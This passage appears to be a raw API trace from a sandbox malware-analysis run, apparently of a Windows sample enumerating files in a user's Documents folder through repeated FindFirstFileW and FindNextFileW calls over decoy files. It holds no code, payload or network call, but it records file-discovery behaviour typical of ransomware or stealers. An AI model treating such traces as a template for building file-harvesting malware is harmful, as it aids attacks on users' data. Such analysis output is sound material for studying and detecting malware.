hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88bf930, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0x70d37d50, ftLastAccessTime.dwHighDateTime=0x1d5e761, ftLastWriteTime.dwLowDateTime=0x70d37d50, ftLastWriteTime.dwHighDateTime=0x1d5e761, nFileSizeHigh=0x0, nFileSizeLow=0x12c92, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="HCr_ 5e.mp3", cAlternateFileName="HCR_5E~1.MP3")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4e4f80, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0xbe6e600, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x9848c00, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0xbc200, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="host1506_2020-06-15_14-07.exe", cAlternateFileName="HOST15~1.EXE")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c1e2fe0, ftCreationTime.dwHighDateTime=0x1d5e620, ftLastAccessTime.dwLowDateTime=0xfd4e13e0, ftLastAccessTime.dwHighDateTime=0x1d5e2dd, ftLastWriteTime.dwLowDateTime=0xfd4e13e0, ftLastWriteTime.dwHighDateTime=0x1d5e2dd, nFileSizeHigh=0x0, nFileSizeLow=0xf63f, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="j39KpS0Z.jpg", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b0aa20, ftCreationTime.dwHighDateTime=0x1d5dbbd, ftLastAccessTime.dwLowDateTime=0x9c793910, ftLastAccessTime.dwHighDateTime=0x1d5dfc1, ftLastWriteTime.dwLowDateTime=0x9c793910, ftLastWriteTime.dwHighDateTime=0x1d5dfc1, nFileSizeHigh=0x0, nFileSizeLow=0x106f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="K7l0m.jpg", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd3fa7e0, ftCreationTime.dwHighDateTime=0x1d5db2f, ftLastAccessTime.dwLowDateTime=0x758ef70, ftLastAccessTime.dwHighDateTime=0x1d5db60, ftLastWriteTime.dwLowDateTime=0x758ef70, ftLastWriteTime.dwHighDateTime=0x1d5db60, nFileSizeHigh=0x0, nFileSizeLow=0x181d3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="L8X_tMhF7RAG1u.gif", cAlternateFileName="L8X_TM~1.GIF")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf783e0, ftCreationTime.dwHighDateTime=0x1d5e508, ftLastAccessTime.dwLowDateTime=0xfc974170, ftLastAccessTime.dwHighDateTime=0x1d5db52, ftLastWriteTime.dwLowDateTime=0xfc974170, ftLastWriteTime.dwHighDateTime=0x1d5db52, nFileSizeHigh=0x0, nFileSizeLow=0x421c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="LcAWP.mp3", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d384e0, ftCreationTime.dwHighDateTime=0x1d5dfe4, ftLastAccessTime.dwLowDateTime=0x87d4a8c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e3, ftLastWriteTime.dwLowDateTime=0x87d4a8c0, ftLastWriteTime.dwHighDateTime=0x1d5e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x39d1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="OqjEf f9z.wav", cAlternateFileName="OQJEFF~1.WAV")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed721fd0, ftCreationTime.dwHighDateTime=0x1d5dd96, ftLastAccessTime.dwLowDateTime=0x4f9aa840, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0x4f9aa840, ftLastWriteTime.dwHighDateTime=0x1d5df49, nFileSizeHigh=0x0, nFileSizeLow=0x16a71, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Oxw27.m4a", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d2160, ftCreationTime.dwHighDateTime=0x1d5dd68, ftLastAccessTime.dwLowDateTime=0x5128d280, ftLastAccessTime.dwHighDateTime=0x1d5e611, ftLastWriteTime.dwLowDateTime=0x5128d280, ftLastWriteTime.dwHighDateTime=0x1d5e611, nFileSizeHigh=0x0, nFileSizeLow=0xea1e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="polYSVkiJ0.jpg", cAlternateFileName="POLYSV~1.JPG")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe883ee0, ftCreationTime.dwHighDateTime=0x1d5e370, ftLastAccessTime.dwLowDateTime=0x16492170, ftLastAccessTime.dwHighDateTime=0x1d5df8a, ftLastWriteTime.dwLowDateTime=0x16492170, ftLastWriteTime.dwHighDateTime=0x1d5df8a, nFileSizeHigh=0x0, nFileSizeLow=0x6696, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qbFQavKzY7DOO2Fa3.png", cAlternateFileName="QBFQAV~1.PNG")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7baba440, ftCreationTime.dwHighDateTime=0x1d5ddd0, ftLastAccessTime.dwLowDateTime=0x38563790, ftLastAccessTime.dwHighDateTime=0x1d5d9da, ftLastWriteTime.dwLowDateTime=0x38563790, ftLastWriteTime.dwHighDateTime=0x1d5d9da, nFileSizeHigh=0x0, nFileSizeLow=0xd27b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="S51hIWg-vULNLHl.png", cAlternateFileName="S51HIW~1.PNG")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d57f760, ftCreationTime.dwHighDateTime=0x1d5e3cd, ftLastAccessTime.dwLowDateTime=0x71983130, ftLastAccessTime.dwHighDateTime=0x1d5de7f, ftLastWriteTime.dwLowDateTime=0x71983130, ftLastWriteTime.dwHighDateTime=0x1d5de7f, nFileSizeHigh=0x0, nFileSizeLow=0x26cb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="v0qSv 4KL-r8YM-GgMBG.gif", cAlternateFileName="V0QSV4~1.GIF")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2ac0dd0, ftCreationTime.dwHighDateTime=0x1d5d7d1, ftLastAccessTime.dwLowDateTime=0xc4839000, ftLastAccessTime.dwHighDateTime=0x1d5e321, ftLastWriteTime.dwLowDateTime=0xc4839000, ftLastWriteTime.dwHighDateTime=0x1d5e321, nFileSizeHigh=0x0, nFileSizeLow=0x5a45, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="XXVzs.ots", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90c9110, ftCreationTime.dwHighDateTime=0x1d5e537, ftLastAccessTime.dwLowDateTime=0xab188e0, ftLastAccessTime.dwHighDateTime=0x1d5de98, ftLastWriteTime.dwLowDateTime=0xab188e0, ftLastWriteTime.dwHighDateTime=0x1d5de98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Yr-pcf 3y122NkdCREb", cAlternateFileName="YR-PCF~1")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb63260, ftCreationTime.dwHighDateTime=0x1d5e6d6, ftLastAccessTime.dwLowDateTime=0xa3fefea0, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0xa3fefea0, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x3e11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zmKlsT4Rdm2.mp4", cAlternateFileName="ZMKLST~1.MP4")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb63260, ftCreationTime.dwHighDateTime=0x1d5e6d6, ftLastAccessTime.dwLowDateTime=0xa3fefea0, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0xa3fefea0, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x3e11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zmKlsT4Rdm2.mp4", cAlternateFileName="ZMKLST~1.MP4")) returned 0 [0124.373] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.373] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.373] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.373] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.374] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.374] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.374] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.374] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.374] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.374] PathFindFileNameW (pszPath="") returned="" [0124.374] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8e6bb40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8e6bb40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.374] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.374] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8e6bb40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8e6bb40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80855760, ftCreationTime.dwHighDateTime=0x1d5dad1, ftLastAccessTime.dwLowDateTime=0x619fb520, ftLastAccessTime.dwHighDateTime=0x1d5e454, ftLastWriteTime.dwLowDateTime=0x619fb520, ftLastWriteTime.dwHighDateTime=0x1d5e454, nFileSizeHigh=0x0, nFileSizeLow=0x8738, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="14trhq_d.pptx", cAlternateFileName="14TRHQ~1.PPT")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e6ea340, ftCreationTime.dwHighDateTime=0x1d5d7da, ftLastAccessTime.dwLowDateTime=0x76e1af90, ftLastAccessTime.dwHighDateTime=0x1d5e082, ftLastWriteTime.dwLowDateTime=0x76e1af90, ftLastWriteTime.dwHighDateTime=0x1d5e082, nFileSizeHigh=0x0, nFileSizeLow=0xa073, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="9zMNq42s2vzr.pdf", cAlternateFileName="9ZMNQ4~1.PDF")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b49eb0, ftCreationTime.dwHighDateTime=0x1d55eb8, ftLastAccessTime.dwLowDateTime=0x21457790, ftLastAccessTime.dwHighDateTime=0x1d5d39b, ftLastWriteTime.dwLowDateTime=0x21457790, ftLastWriteTime.dwHighDateTime=0x1d5d39b, nFileSizeHigh=0x0, nFileSizeLow=0x9a04, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="aCSBQG.docx", cAlternateFileName="ACSBQG~1.DOC")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x651966b0, ftCreationTime.dwHighDateTime=0x1d5e0df, ftLastAccessTime.dwLowDateTime=0x8ba9adc0, ftLastAccessTime.dwHighDateTime=0x1d5624b, ftLastWriteTime.dwLowDateTime=0x8ba9adc0, ftLastWriteTime.dwHighDateTime=0x1d5624b, nFileSizeHigh=0x0, nFileSizeLow=0x5634, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BxIJBC9D2ddyA.xlsx", cAlternateFileName="BXIJBC~1.XLS")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c733050, ftCreationTime.dwHighDateTime=0x1d5e5dc, ftLastAccessTime.dwLowDateTime=0xf64cf9a0, ftLastAccessTime.dwHighDateTime=0x1d5e5ec, ftLastWriteTime.dwLowDateTime=0xf64cf9a0, ftLastWriteTime.dwHighDateTime=0x1d5e5ec, nFileSizeHigh=0x0, nFileSizeLow=0xb202, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="c8Hky4m8.ots", cAlternateFileName="")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0bcce0, ftCreationTime.dwHighDateTime=0x1d5e630, ftLastAccessTime.dwLowDateTime=0x54011850, ftLastAccessTime.dwHighDateTime=0x1d59e5e, ftLastWriteTime.dwLowDateTime=0x54011850, ftLastWriteTime.dwHighDateTime=0x1d59e5e, nFileSizeHigh=0x0, nFileSizeLow=0x123cb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FIxvzNotV8Z.pptx", cAlternateFileName="FIXVZN~1.PPT")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c05480, ftCreationTime.dwHighDateTime=0x1d585d2, ftLastAccessTime.dwLowDateTime=0xacbe0100, ftLastAccessTime.dwHighDateTime=0x1d5e0ea, ftLastWriteTime.dwLowDateTime=0xacbe0100, ftLastWriteTime.dwHighDateTime=0x1d5e0ea, nFileSizeHigh=0x0, nFileSizeLow=0x5175, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fzzO4F.xlsx", cAlternateFileName="FZZO4F~1.XLS")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda620a00, ftCreationTime.dwHighDateTime=0x1d5915a, ftLastAccessTime.dwLowDateTime=0x52345290, ftLastAccessTime.dwHighDateTime=0x1d5a7a9, ftLastWriteTime.dwLowDateTime=0x52345290, ftLastWriteTime.dwHighDateTime=0x1d5a7a9, nFileSizeHigh=0x0, nFileSizeLow=0x16df9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="L1XKTglsoKdjgkn7BZ.xlsx", cAlternateFileName="L1XKTG~1.XLS")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58071da0, ftCreationTime.dwHighDateTime=0x1d57d98, ftLastAccessTime.dwLowDateTime=0xd4f81750, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xd4f81750, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x10163, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="l8TAds.xlsx", cAlternateFileName="L8TADS~1.XLS")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb5f020, ftCreationTime.dwHighDateTime=0x1d58e77, ftLastAccessTime.dwLowDateTime=0x5ad22500, ftLastAccessTime.dwHighDateTime=0x1d5d43e, ftLastWriteTime.dwLowDateTime=0x5ad22500, ftLastWriteTime.dwHighDateTime=0x1d5d43e, nFileSizeHigh=0x0, nFileSizeLow=0x621f, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lQwOwuRg4EU.pptx", cAlternateFileName="LQWOWU~1.PPT")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d3d38d0, ftCreationTime.dwHighDateTime=0x1d5b172, ftLastAccessTime.dwLowDateTime=0x18b87720, ftLastAccessTime.dwHighDateTime=0x1d55bdd, ftLastWriteTime.dwLowDateTime=0x18b87720, ftLastWriteTime.dwHighDateTime=0x1d55bdd, nFileSizeHigh=0x0, nFileSizeLow=0x7125, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MOe2_m0ZA.pptx", cAlternateFileName="MOE2_M~1.PPT")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747eda0, ftCreationTime.dwHighDateTime=0x1d57329, ftLastAccessTime.dwLowDateTime=0x328689c0, ftLastAccessTime.dwHighDateTime=0x1d5e37e, ftLastWriteTime.dwLowDateTime=0x328689c0, ftLastWriteTime.dwHighDateTime=0x1d5e37e, nFileSizeHigh=0x0, nFileSizeLow=0x27eb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="O-sgVgJHm6j_SoEJfcN.docx", cAlternateFileName="O-SGVG~1.DOC")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e85ee0, ftCreationTime.dwHighDateTime=0x1d5dedf, ftLastAccessTime.dwLowDateTime=0x9d1a3040, ftLastAccessTime.dwHighDateTime=0x1d5dcdd, ftLastWriteTime.dwLowDateTime=0x9d1a3040, ftLastWriteTime.dwHighDateTime=0x1d5dcdd, nFileSizeHigh=0x0, nFileSizeLow=0x111fe, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="P6G5NgEhZKQM6.xlsx", cAlternateFileName="P6G5NG~1.XLS")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50e02460, ftCreationTime.dwHighDateTime=0x1d5dc87, ftLastAccessTime.dwLowDateTime=0xa501d600, ftLastAccessTime.dwHighDateTime=0x1d5b226, ftLastWriteTime.dwLowDateTime=0xa501d600, ftLastWriteTime.dwHighDateTime=0x1d5b226, nFileSizeHigh=0x0, nFileSizeLow=0xb109, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rAGDqO_2z-.docx", cAlternateFileName="RAGDQO~1.DOC")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe200d670, ftCreationTime.dwHighDateTime=0x1d56fe4, ftLastAccessTime.dwLowDateTime=0xa4985c80, ftLastAccessTime.dwHighDateTime=0x1d5635b, ftLastWriteTime.dwLowDateTime=0xa4985c80, ftLastWriteTime.dwHighDateTime=0x1d5635b, nFileSizeHigh=0x0, nFileSizeLow=0x1158b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="t_ht8Ts9s.pptx", cAlternateFileName="T_HT8T~1.PPT")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56530f0, ftCreationTime.dwHighDateTime=0x1d5ad59, ftLastAccessTime.dwLowDateTime=0x1a011430, ftLastAccessTime.dwHighDateTime=0x1d5af15, ftLastWriteTime.dwLowDateTime=0x1a011430, ftLastWriteTime.dwHighDateTime=0x1d5af15, nFileSizeHigh=0x0, nFileSizeLow=0x7e01, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="vzEor_EMvUKsoW9F.xlsx", cAlternateFileName="VZEOR_~1.XLS")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fd7960, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xe8e03010, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xe8e03010, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wbRZ", cAlternateFileName="")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ec7230, ftCreationTime.dwHighDateTime=0x1d5e365, ftLastAccessTime.dwLowDateTime=0x6e0a79b0, ftLastAccessTime.dwHighDateTime=0x1d5e69a, ftLastWriteTime.dwLowDateTime=0x6e0a79b0, ftLastWriteTime.dwHighDateTime=0x1d5e69a, nFileSizeHigh=0x0, nFileSizeLow=0x6dca, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="XXme.pps", cAlternateFileName="")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ed4f20, ftCreationTime.dwHighDateTime=0x1d58a08, 